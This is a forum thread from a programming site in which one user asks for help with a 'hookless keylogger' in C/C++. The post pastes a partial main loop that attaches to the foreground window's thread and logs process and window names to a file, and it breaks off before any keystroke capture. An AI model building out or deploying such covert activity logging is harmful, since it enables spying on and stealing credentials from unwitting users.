Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
CODE PROJECT For Those Who Code
  • Home
  • Articles
  • FAQ
Community
  1. Home
  2. General Programming
  3. C / C++ / MFC
  4. hookless keylogger part II

hookless keylogger part II

Scheduled Pinned Locked Moved C / C++ / MFC
questionhelp
1 Posts 1 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • S Offline
    S Offline
    Spiritofamerica
    wrote on last edited by
    #1

    hello, I am trying to make a hookless keylogger using AttachThread function to attach my thread to the foreground window and GetKeyboardState to fish for keys but I have a problem when the program is active(see code snipplet of most of the source code below) the mouse double click doesn't work any more on the desktop and in windows explorer but the logger does log these events(the double clicks) so why does it do this and how can I remedy this?? I don't need to necesarrily log these events is there any way I could skip them? I included the program's main loop here maby it helps you when you give me answers(hopefully) thank you in advance. while(true) { fereastra_activa=GetForegroundWindow(); if(fereastra_activa!=NULL) { DWORD id; id = GetWindowThreadProcessId(fereastra_activa, &lpdwProcessId); if(AttachThreadInput(GetCurrentThreadId(),id,TRUE)) { //MessageBox(0,"am atasat threadul","toader",MB_OK); //---------------------numele proceselor------------------------------------------------- -------- GetWindowModuleFileName(fereastra_activa,nume_exe,1024); //MessageBox(0,nume_exe,"numele executabilului",MB_OK); if(StrCmpI(nume_exe,nume_exe_actual)!=0) { if(nume_exe!=NULL) { ScriereText(fisier_de_log,"\n"); ScriereText(fisier_de_log,"\n"); ScriereText(fisier_de_log,"____________________________new process:___________________________________"); ScriereText(fisier_de_log,"\n"); ScriereText(fisier_de_log,nume_exe); ScriereText(fisier_de_log,"\n"); strcpy(nume_exe_actual,nume_exe); } } //--------------------------------------------------------- -------------------------------------- //----------------------------numele ferestrelor------------------------------------------------ - GetWindowText(fereastra_activa,nume_fereastra,1024); if (StrCmpI(nume_fereastra,nume_fereastra_actual)!=0) { if(strlen(nume_fereastra)>0) { ScriereText(fisier_de_log,"\n"); ScriereText(fisier_de_log,"\n"); ScriereText(fisier_de_log,"--------------------------new window name:-------------------------------------"); ScriereText(fisier_de_log,"\n"); ScriereText(fisier_de_log,nume_fereastra); ScriereText(fisier_de_log,"\n"); strcpy(nume_fereastra_actua

    1 Reply Last reply
    0
    Reply
    • Reply as topic
    Log in to reply
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes


    • Login

    • Don't have an account? Register

    • Login or register to search.
    • First post
      Last post
    0
    • Categories
    • Recent
    • Tags
    • Popular
    • World
    • Users
    • Groups